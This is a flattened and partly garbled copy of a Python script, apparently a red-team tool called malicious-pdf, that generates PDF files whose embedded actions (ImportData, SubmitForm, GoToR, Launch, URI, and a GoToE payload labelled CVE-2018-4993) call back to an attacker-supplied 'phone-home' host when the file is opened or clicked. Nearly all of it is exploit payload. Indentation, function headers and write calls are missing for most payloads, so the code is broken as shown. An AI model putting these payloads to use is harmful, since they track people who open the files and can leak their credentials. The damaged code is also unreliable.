python script linux
python script linux
/usr/bin/python
# -*- coding: UTF-8 -*-
##
## Create different types of malicious PDF files. Used for penetration testing
and/or red-teaming etc
##
## Usage ./malicious-pdf.py burp-collaborator-url
##
## Output will be written as: test1.pdf, test2.pdf, test3.pdf and test4.pdf
##
## Based on https://github.com/modzero/mod0BurpUploadScanner/ and
https://github.com/deepzec/Bad-Pdf
##
## Jonas Lejon, 2023 <[email protected]>
## https://github.com/jonaslejon/malicious-pdf
import sys
if sys.version_info[0] < 3:
raise SystemExit("Use Python 3 (or higher) only")
import io
import bz2
import base64
1 0 obj
<< /Type /Catalog
/Pages 2 0 R
/AcroForm << /Fields [<< /Type /Annot /Subtype /Widget /FT /Tx /T (a) /V
(b) /Ff 0 >>] >>
>>
endobj
2 0 obj
<< /Type /Pages
/Kids [3 0 R]
/Count 1
/MediaBox [0 0 595 842]
>>
endobj
3 0 obj
<< /Type /Page
/Parent 2 0 R
/Resources
<< /Font
<< /F1
<< /Type /Font
/Subtype /Type1
/BaseFont /Courier
>>
>>
>>
/Annots [<< /Type /Annot
/Subtype /Link
/Open true
/A 5 0 R
/H /N
/Rect [0 0 595 842]
>>]
/Contents [4 0 R]
>>
endobj
4 0 obj
<< /Length 67 >>
stream
BT
/F1 22 Tf
30 800 Td
(Testcase: 'data' ) Tj
ET
endstream
endobj
5 0 obj
<< /Type /Action
/S /ImportData
/F << /Type /FileSpec /F ('''+host+'''/test9.pdf) /V true /FS /URL >>
>>
endobj
xref
0 6
0000000000 65535 f
0000000010 00000 n
0000000164 00000 n
0000000265 00000 n
0000000724 00000 n
0000000844 00000 n
trailer
<< /Root 1 0 R
/Size 6
>>
startxref
997
%%EOF
''')
1 0 obj
<< /Type /Catalog
/Pages 2 0 R
/OpenAction 5 0 R
/AcroForm << /Fields [<< /Type /Annot /Subtype /Widget /FT /Tx /T (a) /V
(b) /Ff 0 >>] >>
>>
endobj
2 0 obj
<< /Type /Pages
/Kids [3 0 R]
/Count 1
/MediaBox [0 0 595 842]
>>
endobj
3 0 obj
<< /Type /Page
/Parent 2 0 R
/Resources
<< /Font
<< /F1
<< /Type /Font
/Subtype /Type1
/BaseFont /Courier
>>
>>
>>
/Contents [4 0 R]
>>
endobj
4 0 obj
<< /Length 67 >>
stream
BT
/F1 22 Tf
30 800 Td
(Testcase: 'form' ) Tj
ET
endstream
endobj
5 0 obj
<< /Type /Action
/S /SubmitForm
/F << /Type /FileSpec /F ('''+host+'''/test8.pdf) /V true /FS /URL >>
/Flags 4 % SubmitHTML
% /Flags 32 % SubmitXFDF
% /Flags 256 % SubmitPDF
>>
endobj
xref
0 6
0000000000 65535 f
0000000010 00000 n
0000000187 00000 n
0000000288 00000 n
0000000553 00000 n
0000000673 00000 n
trailer
<< /Root 1 0 R
/Size 6
>>
startxref
908
%%EOF
''')
1 0 obj
<< /Type /Catalog
/Pages 2 0 R
>>
endobj
2 0 obj
<< /Type /Pages
/Kids [3 0 R]
/Count 1
/MediaBox [0 0 595 842]
>>
endobj
3 0 obj
<< /Type /Page
/Parent 2 0 R
/Resources
<< /Font
<< /F1
<< /Type /Font
/Subtype /Type1
/BaseFont /Courier
>>
>>
>>
/Annots [<< /Type /Annot
/Subtype /Link
/Open true
/A 5 0 R
/H /N
/Rect [0 0 595 842]
>>]
/Contents [4 0 R]
>>
endobj
4 0 obj
<< /Length 67 >>
stream
BT
/F1 22 Tf
30 800 Td
(Testcase: 'gotor' ) Tj
ET
endstream
endobj
5 0 obj
<< /Type /Action
/S /GoToR
/F << /Type /FileSpec /F ('''+host+'''/test7.pdf) /V true /FS /URL >>
/NewWindow false
/D [0 /Fit]
>>
endobj
xref
0 6
0000000000 65535 f
0000000010 00000 n
0000000069 00000 n
0000000170 00000 n
0000000629 00000 n
0000000749 00000 n
trailer
<< /Root 1 0 R
/Size 6
>>
startxref
937
%%EOF
''')
## Testcase from ./02-exploits/25-firefox-browser/02-disclosure-01-url-invocation-
dns-prefetch2.pdf
## https://github.com/RUB-NDS/PDF101 "Portable Document Flaws 101" at Black Hat USA
2020
def create_malpdf6(filename, host):
with open(filename, "w") as file:
file.write('''%PDF-1.7
1 0 obj
<< /Type /Catalog
/Pages 2 0 R
>>
endobj
2 0 obj
<< /Type /Pages
/Kids [3 0 R]
/Count 1
/MediaBox [0 0 595 842]
>>
endobj
3 0 obj
<< /Type /Page
/Parent 2 0 R
/Resources
<< /Font
<< /F1
<< /Type /Font
/Subtype /Type1
/BaseFont /Courier
>>
>>
>>
/Annots [<< /Type /Annot
/Subtype /Link
/Open true
/A 5 0 R
/H /N
/Rect [0 0 595 842]
>>]
/Contents [4 0 R]
>>
endobj
4 0 obj
<< /Length 67 >>
stream
BT
/F1 22 Tf
30 800 Td
(Testcase: 'launch' ) Tj
ET
endstream
endobj
5 0 obj
<< /Type /Action
/S /Launch
/F << /Type /FileSpec /F (''' + host + '''/test6.pdf) /V true /FS /URL >>
/NewWindow false
>>
endobj
xref
0 6
0000000000 65535 f
0000000010 00000 n
0000000069 00000 n
0000000170 00000 n
0000000629 00000 n
0000000749 00000 n
trailer
<< /Root 1 0 R
/Size 6
>>
startxref
922
%%EOF
''')
1 0 obj
<< /Type /Catalog
/Pages 2 0 R
>>
endobj
2 0 obj
<< /Type /Pages
/Kids [3 0 R]
/Count 1
/MediaBox [0 0 595 842]
>>
endobj
3 0 obj
<< /Type /Page
/Parent 2 0 R
/Resources
<< /Font
<< /F1
<< /Type /Font
/Subtype /Type1
/BaseFont /Courier
>>
>>
>>
/Annots [<< /Type /Annot
/Subtype /Link
/Open true
/A 5 0 R
/H /N
/Rect [0 0 595 842]
>>]
/Contents [4 0 R]
>>
endobj
4 0 obj
<< /Length 67 >>
stream
BT
/F1 22 Tf
30 800 Td
(Testcase: 'uri' ) Tj
ET
endstream
endobj
5 0 obj
<< /Type /Action
/S /URI
/URI (''' + host + '''/test5)
>>
endobj
xref
0 6
0000000000 65535 f
0000000010 00000 n
0000000069 00000 n
0000000170 00000 n
0000000629 00000 n
0000000749 00000 n
trailer
<< /Root 1 0 R
/Size 6
>>
startxref
854
%%EOF
''')
/AcroForm <<
/Fields [<<
/T (0)
/Kids [<<
/Subtype /Widget
/Rect []
/T ()
/FT /Btn
>>]
>>]
/XFA 1 0 R
>>
/Pages <<>>
>>
>>
''')
# This is CVE-2018-4993
# From https://github.com/deepzec/Bad-Pdf/blob/master/badpdf.py
def create_malpdf(filename, host):
with open(filename, "w") as file:
file.write('''%PDF-1.7
1 0 obj
<</Type/Catalog/Pages 2 0 R>>
endobj
2 0 obj
<</Type/Pages/Kids[3 0 R]/Count 1>>
endobj
3 0 obj
<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]/Resources<<>>>>
endobj
xref
0 4
0000000000 65535 f
0000000015 00000 n
0000000060 00000 n
0000000111 00000 n
trailer
<</Size 4/Root 1 0 R>>
startxref
190
3 0 obj
<< /Type /Page
/Contents 4 0 R
/AA <<
/O <<
/F (''' + host + ''')
/D [ 0 /Fit]
/S /GoToE
>>
>>
/Parent 2 0 R
/Resources <<
/Font <<
/F1 <<
/Type /Font
/Subtype /Type1
/BaseFont /Helvetica
>>
>>
>>
>>
endobj
trailer
<<
/Root 1 0 R
>>
%%EOF
''')
if __name__ == "__main__":
try:
host = sys.argv[1]
except IndexError as e:
print("Usage: {} phone-home-url".format(sys.argv[0]))
sys.exit(1)
print("[-] Done!")